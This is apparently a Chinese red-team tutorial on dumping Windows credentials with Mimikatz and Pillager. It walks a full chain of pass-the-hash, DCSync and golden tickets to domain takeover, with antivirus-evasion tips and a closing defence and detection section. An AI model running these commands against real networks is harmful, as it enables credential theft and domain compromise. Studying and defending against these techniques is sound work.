
在渗透测试和红队评估中敏感信息获取是至关重要的一环。无论是域内横向移动、权限维持还是最终的数据窃取都离不开对系统内存、文件系统和网络通信中凭证、票据等关键信息的提取。本文将系统性地介绍在Windows环境下如何利用Mimikatz、Pillager等经典及新兴工具进行敏感信息获取涵盖其核心原理、实战用法、常见问题及防御视角下的思考。无论你是安全研究人员、渗透测试工程师还是希望加固自身系统的运维人员都能从本文中获得一套完整的实操指南与避坑方案。1. 敏感信息获取的核心概念与价值在深入工具使用之前我们必须明确“敏感信息”在攻防对抗中的具体所指及其战略价值。1.1 什么是敏感信息在Windows域环境及独立主机中敏感信息通常指那些能够用于身份验证、权限提升或访问受控资源的数据。主要包括以下几类用户凭证明文密码部分旧版应用程序或配置不当的系统可能在内存中缓存用户的明文密码。哈希值Windows系统使用NTLMNT LAN Manager哈希或更现代的Kerberos密钥来代表用户密码。即使无法获得明文获取哈希值也能用于“哈希传递”Pass-the-Hash, PtH攻击。Ticket-Granting Ticket (TGT)Kerberos协议中的票据授予票据是获取访问服务票据ST的凭证。Ticket-Granting Service (TGS)Kerberos协议中的服务票据用于访问特定服务如文件共享、数据库。系统与网络信息DPAPIData Protection API主密钥用于解密当前用户存储的各类凭据如浏览器密码、Wi-Fi密码、RDP连接信息。LSALocal Security Authority机密存储系统级和服务账户的凭据。域内计算机账户哈希可用于银票攻击Silver Ticket。WIFI配置文件与密码。浏览器中保存的Cookie、历史记录、自动填充数据。进程与内存信息特定进程如浏览器、邮件客户端、SSH客户端、远程管理工具内存中可能存在的会话令牌、API密钥、数据库连接字符串等。获取这些信息攻击者可以实现从立足点到完全控制域的跨越其价值远高于一个简单的漏洞利用。1.2 为什么这些信息可以被获取这主要源于Windows操作系统和应用程序在设计时对“可用性”和“兼容性”的考量内存中缓存为了提供单点登录SSO等用户体验系统会将凭证、票据等缓存在进程内存如lsass.exe中。可预测的存储位置DPAPI、LSA等机密信息存储在注册表或文件系统的特定位置其访问受权限控制但一旦获得足够权限如SYSTEM即可读取。协议交互的副产品在Kerberos、NTLM认证过程中相关的票据和哈希会在网络传输和本地处理中产生并临时存储。理解这些原理是有效使用工具和进行防御的基础。2. 环境准备与操作须知重要声明本文所有内容仅用于授权的安全测试、教学研究及企业内部的自我安全评估。未经授权对任何系统进行测试均属违法行为。请在完全可控的实验室环境如虚拟机搭建的域环境中进行实践。2.1 实验环境搭建建议使用以下环境进行学习和测试操作系统Windows 10/11 或 Windows Server 2016/2019/2022。域环境可选但推荐至少一台域控制器Domain Controller, DC和一台加入域的成员服务器或工作站。这能让你体验完整的Kerberos票据攻击链。虚拟机软件VMware Workstation 或 VirtualBox用于隔离实验环境。权限要求后续工具操作大多需要管理员权限。在域环境中尝试获取域管理员凭证是核心目标。2.2 工具获取与前置知识Mimikatz最著名的Windows凭证提取工具。由于其敏感性主流杀毒软件会将其视为病毒。在实验环境中你需要临时关闭实时防护或添加排除项。可以从其GitHub官方仓库或可靠的安全研究社区获取。Pillager一个用Go语言编写的轻量级、模块化的敏感信息收集工具。它被设计为更容易绕过一些静态检测并且可以编译为独立可执行文件。可以从其GitHub仓库获取。PowerShellWindows自带的神器许多信息收集任务可以通过PowerShell cmdlet完成。Sysinternals Suite微软官方工具集其中的procdump.exe可用于创建进程内存转储是绕过某些防护提取lsass.exe内存的常用方法。核心前提所有内存提取操作的成功都基于你已获得的权限足以访问目标进程通常是lsass.exe的内存空间。这通常意味着你已经拥有了本地管理员权限。3. 神器初探Mimikatz 核心模块详解Mimikatz功能庞大我们聚焦于最核心的凭证获取模块。3.1 基础使用与命令结构以管理员身份运行命令行CMD或Mimikatz自己的终端进入Mimikatz所在目录执行mimikatz.exe成功运行后会进入Mimikatz的交互式命令行mimikatz #。常用命令结构为模块名::函数名例如sekurlsa::logonpasswords。3.2 从LSASS进程提取凭证sekurlsa模块这是Mimikatz的招牌功能。LSASSLocal Security Authority Subsystem Service进程是存储登录会话和凭证信息的关键所在。# 提取当前系统所有登录会话的明文密码、NTLM哈希、Kerberos密钥等。 mimikatz # sekurlsa::logonpasswords # 专门提取票据TGT和TGS mimikatz # sekurlsa::tickets /export # /export 参数会将票据导出为.kirbi文件 # 提取特定用户的凭证例如针对用户Administrator mimikatz # sekurlsa::pth /user:Administrator /domain:TESTLAB /ntlm:NTLM_Hash /run:cmd.exe # 上一条命令是著名的“哈希传递”Pass-The-Hash它利用NTLM哈希直接生成一个具有该用户权限的新进程这里是cmd.exe而无需知道明文密码。执行结果解读 运行sekurlsa::logonpasswords后你会看到类似下面的输出Authentication Id : 0 ; 1234567 (00000000:0012d687) Session : Interactive from 1 User Name : Administrator Domain : TESTLAB Logon Server : DC01 Logon Time : 2023/10/27 10:30:00 SID : S-1-5-21-123456789-1234567890-123456789-500 msv : [00000003] Primary * Username : Administrator * Domain : TESTLAB * NTLM : 329153f560eb329c0e1deea55e88a1e9 # 这是NTLM哈希 * SHA1 : 5bce9633f5b5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c tspkg : wdigest : * Username : Administrator * Domain : TESTLAB * Password : (null) # 可能为空取决于系统设置和补丁 kerberos : * Username : Administrator * Domain : TESTLAB.LOCAL * Password : (null) ssp : credman :注意自Windows 8.1/Server 2012 R2及更高版本默认情况下内存中不再缓存明文密码WDigest。输出中Password字段常为(null)。但这不影响获取NTLM哈希和Kerberos票据进行后续攻击。3.3 Kerberos票据操作kerberos模块在域环境中Kerberos票据是横向移动的黄金钥匙。# 列出当前内存中的所有Kerberos票据 mimikatz # kerberos::list # 导出所有票据到当前目录.kirbi格式 mimikatz # kerberos::list /export # 注入票据将导出的.kirbi文件注入到当前会话 mimikatz # kerberos::ptt C:\Path\To\Administratorkrbtgt-TESTLAB.kirbi # 注入后可以使用如 dir \\dc01.testlab.local\c$ 的命令来验证是否具有域管理员权限访问域控制器。3.4 凭证转储lsadump模块此模块用于从注册表中提取LSA存储的机密包括系统启动密钥、服务账户密码等。# 需要SYSTEM权限。通常先提权至SYSTEM。 mimikatz # privilege::debug # 尝试启用Debug权限如果已是管理员通常成功 mimikatz # token::elevate # 提升至SYSTEM权限 # 转储LSA机密可能获取到服务账户的明文密码或哈希 mimikatz # lsadump::secrets # 在域控制器上可以转储域内所有用户的哈希域控的NTDS.dit数据库的“内存版”访问 mimikatz # lsadump::dcsync /domain:testlab.local /user:Administrator # 此命令模拟域控制器同步数据的过程直接获取指定用户的哈希无需接触磁盘上的NTDS.dit文件。4. 轻量化替代Pillager 工具使用指南Pillager以其Go语言编写的跨平台特性和模块化设计成为Mimikatz的一个补充选择。它通常以单个可执行文件发布。4.1 Pillager 基础命令Pillager通常通过命令行参数指定要运行的“模块”。# 查看帮助和可用模块 pillager.exe -h # 运行所有检查模块可能触发大量行为容易被检测 pillager.exe -a # 指定运行特定模块例如收集浏览器数据、WiFi密码等更隐蔽。 pillager.exe -m browser -m wifi4.2 常用模块详解假设我们有一个编译好的pillager_windows_amd64.exe。# 模块1转储LSASS进程内存类似Mimikatz的sekurlsa但输出格式可能不同 # 注意这同样需要管理员权限并且会尝试访问lsass.exe。 pillager.exe -m lsass # 模块2提取DPAPI主密钥和凭证 # DPAPI密钥可用于解密当前用户的各种保存密码。 pillager.exe -m dpapi # 模块3收集浏览器数据Chrome, Firefox, Edge等 # 会尝试提取Cookie、历史记录、保存的密码等。 pillager.exe -m browser # 模块4收集WiFi配置文件及密码 pillager.exe -m wifi # 模块5转储SAM和LSA机密需要SYSTEM权限 pillager.exe -m sam -m lsa # 将结果输出到指定文件 pillager.exe -m lsass -m dpapi -o loot.json执行-m lsass后工具会尝试解析LSASS内存输出可能包含NTLM哈希、Kerberos密钥的JSON或文本格式。4.3 Pillager 与 Mimikatz 的对比特性MimikatzPillager语言CGo体积/依赖相对较小但依赖Windows库可编译为静态单文件无外部依赖功能聚焦深度凭证提取LSASS、Kerberos、LSA广度信息收集LSASS、浏览器、WiFi、DPAPI、系统信息使用方式交互式CLI为主命令行参数驱动检测规避特征明显容易被AV/EDR标记较新静态特征可能较少但行为仍会被高级EDR捕获社区生态极其丰富插件多相对较新模块在增长选择建议Mimikatz在凭证提取的深度和可靠性上依然是行业标准。Pillager更适合作为初步信息收集、横向移动中快速抓取多类信息或在特定规避场景下使用。在实际测试中两者可配合使用。5. 实战案例从本地管理员到域控权限让我们串联一个经典的内网横向移动场景演示工具的综合运用。场景你已获取一台域成员服务器WS01.testlab.local的本地管理员权限通过RCE、钓鱼等方式。你的目标是获取域控制器DC01.testlab.local的控制权。5.1 第一步本地信息收集与权限确认在WS01上打开一个具有管理员权限的CMD。# 查看当前用户和计算机信息 whoami /all systeminfo | findstr /B /C:Domain net config workstation # 使用PowerShell收集更详细的网络和域信息 powershell -c Get-NetIPConfiguration; Get-DnsClientServerAddress; nltest /dclist:testlab.local5.2 第二步使用Mimikatz提取本地凭证将mimikatz.exe上传至WS01或使用内存加载等无文件方式。# 1. 运行Mimikatz mimikatz.exe # 2. 提取本地登录的所有凭证哈希 mimikatz # sekurlsa::logonpasswords # 假设我们提取到了本地管理员WS01\AdminLocal的哈希但更重要的是我们发现了域用户TESTLAB\Bob的登录会话及其NTLM哈希。 # 输出中关键行 # * Domain : TESTLAB # * Username : Bob # * NTLM : 329153f560eb329c0e1deea55e88a1e95.3 第三步哈希传递攻击我们利用获取到的域用户Bob的NTLM哈希尝试在WS01上生成一个具有Bob权限的进程用于访问网络资源。# 仍在Mimikatz中执行 mimikatz # sekurlsa::pth /user:Bob /domain:TESTLAB /ntlm:329153f560eb329c0e1deea55e88a1e9 /run:powershell.exe这条命令会弹出一个新的PowerShell窗口这个窗口的网络身份就是TESTLAB\Bob。5.4 第四步网络探测与横向移动在新的PowerShell窗口Bob的上下文中# 1. 探测域内其他主机特别是域控制器 powershell -c Get-ADComputer -Filter * -Properties Name, OperatingSystem | ? {$_.Name -like DC*} | Format-Table Name, DNSHostName # 假设域控制器是 DC01.testlab.local # 2. 尝试访问域控制器的共享验证权限 dir \\DC01.testlab.local\c$ # 3. 如果Bob是域管理员组成员访问会成功。我们可以进一步复制工具到域控制器。 copy mimikatz.exe \\DC01.testlab.local\c$\temp\5.5 第五步攻击域控制器并提取域哈希通过计划任务、WMI、PsExec等方式在域控制器上执行命令。这里以PsExec为例需提前上传或从Sysinternals套件使用。# 从WS01上使用Bob的凭证已通过PtH具备在DC01上执行命令 PsExec.exe \\DC01.testlab.local -accepteula -s cmd.exe # -s 参数表示以SYSTEM权限运行。现在我们在DC01上有了一个SYSTEM权限的CMD。上传Mimikatz到DC01如果之前没复制。# 在DC01的SYSTEM CMD中运行Mimikatz cd C:\temp mimikatz.exe # 使用DCSync攻击模拟域控制器同步直接获取域内任意用户的哈希例如域管理员krbtgt账户和普通域管理员。 mimikatz # lsadump::dcsync /domain:testlab.local /user:krbtgt mimikatz # lsadump::dcsync /domain:testlab.local /user:Administrator获取krbtgt账户的哈希是“黄金票据”Golden Ticket攻击的前提可以生成任意用户的TGT从而完全控制域。5.6 第六步权限维持黄金票据在攻击者机器上或任何加入域的机器利用获取的krbtgt哈希制作黄金票据。# 在攻击者机器已加入域或配置了相关DNS的Mimikatz中 mimikatz # kerberos::golden /user:任意用户名 /domain:testlab.local /sid:S-1-5-21-... /krbtgt:krbtgt账户的NTLM哈希 /ptt # /sid: 域的SID可以通过 whoami /user 在域用户会话中查看前半部分。 # /ptt: 直接将生成的票据注入当前会话。 # 注入后验证权限 klist # 查看当前票据 dir \\DC01.testlab.local\c$ # 应能成功访问至此我们完成了从一台域成员服务器的本地管理员权限到完全控制整个域的跨越。6. 常见问题与排查思路在使用这些工具时你可能会遇到各种错误。问题现象可能原因排查与解决思路Mimikatz运行即报错或被拦截1. 杀毒软件/EDR实时防护。2. 文件被标记为恶意软件删除。3. Windows Defender 攻击防护如“受控文件夹访问”阻止对lsass的访问。1. 实验环境中临时禁用实时防护不推荐生产环境。2. 使用源码自行编译或使用不同版本/混淆过的版本。3. 使用替代方法如用procdump.exe转储lsass内存再到离线环境用Mimikatz分析.dmp文件procdump.exe -accepteula -ma lsass.exe lsass.dmpsekurlsa::logonpasswords无法提取明文密码系统版本 Windows 8.1/Server 2012 R2且未启用WDigest缓存。1. 关注NTLM哈希和Kerberos票据它们同样可用于攻击。2. 可通过修改注册表UseLogonCredential临时启用WDigest缓存需重启或用户重新登录但动静大。哈希传递(PtH)创建进程失败1. 目标系统启用了受限管理模式Restricted Admin Mode或Credential Guard。2. 使用的哈希错误或用户权限不足。3. 网络策略限制。1. 检查目标系统是否启用Credential Guard (msinfo32查看)。启用后PtH和票据注入会失效。2. 确认哈希值正确用户账户未被禁用。3. 尝试其他横向移动方法如服务票据Silver Ticket攻击、WMI、计划任务等。DCSync攻击失败1. 执行位置不在域控制器上且使用的账户没有足够的复制权限默认只有域管理员组等。2. 域控制器安装了高级安全防护。1. 确保在域控制器上执行或确保你使用的账户已被授予“复制目录更改”权限很隐蔽。2. 尝试使用其他域管账户的哈希进行DCSync。Pillager执行无输出或报错1. 权限不足非管理员。2. 指定模块不存在或名称错误。3. 工具与系统架构不匹配如32位工具跑在64位系统上。1. 始终以管理员身份运行。2. 使用-h查看准确的模块名称。3. 下载与系统匹配的版本通常是amd64。黄金票据注入后访问资源仍被拒绝1. 票据未成功注入。2. 票据过期时间设置有问题。3. 目标服务如CIFS的SPN服务主体名称不匹配。4. 域内时间偏差超过5分钟Kerberos协议要求。1. 使用klist确认票据是否存在。2. 检查黄金票据命令中的域名、SID、krbtgt哈希是否正确。3. 同步攻击者机器与域控制器的时间 (net time \\dc01)。4. 指定正确的服务SPN制作票据。7. 防御视角与最佳实践了解攻击是为了更好的防御。从系统加固和监控角度可以采取以下措施7.1 预防与加固措施实施最小权限原则严格限制本地管理员组的成员。使用“特权访问工作站”PAW概念。域管理员账户仅登录到域控制器和必要的管理服务器绝不用于登录普通工作站。为服务账户配置最小必要权限并使用组托管服务账户gMSA。启用高级安全功能Windows Defender Credential Guard针对企业版/教育版能有效防止内存中提取NTLM哈希和Kerberos票据极大削弱Mimikatz类工具的效果。受控文件夹访问可以阻止未知进程对lsass.exe等关键进程的内存访问。攻击面减少规则通过Windows Defender Exploit Guard或组策略阻止Office宏、脚本、可执行文件从非受信任位置运行。配置账户策略启用“限制NTLM认证”策略推动使用Kerberos。配置“受保护的用户”组其成员使用更安全的Kerberos协议且凭证不会被缓存。定期更改krbtgt账户密码至少每180天且更改两次。禁用WDigest确保注册表项HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest下的UseLogonCredential设置为0默认。7.2 检测与响应监控关键事件4688创建新进程。监控对lsass.exe的访问如procdump,rundll32调用comsvcs.dll。4672分配特殊权限。监控SeDebugPrivilege的启用Mimikatz的privilege::debug。4769请求Kerberos服务票据TGS。监控异常SPN请求或来自非域控的TGS请求。4662对AD对象的操作。监控DCSync复制事件需要配置SACL。部署终端检测与响应EDR现代EDR能够检测LSASS内存读取、哈希传递、票据注入等可疑行为序列并告警或阻断。定期进行安全评估使用上述攻击技术在授权范围内对自己的网络进行红队演练发现防御短板。7.3 安全开发与运维建议应用程序避免在内存中存储明文密码或密钥。使用安全的凭据管理API。脚本与自动化不要在脚本中硬编码密码或密钥。使用托管身份或证书认证。日志集中与分析将Windows事件日志、防火墙日志、应用日志集中到SIEM安全信息与事件管理系统进行关联分析。敏感信息获取是内网安全攻防的基石。通过深入理解Mimikatz、Pillager等工具的原理和使用方法我们不仅能掌握攻击者的技术路径更能有针对性地构建防御体系。记住安全是一个持续的过程技术在不断演进攻防双方都在迭代。保持学习在合规的前提下不断练习是提升安全能力的不二法门。本文提供的代码和命令均在可控实验环境中验证在实际应用时请务必结合具体环境进行调整并严格遵守法律法规。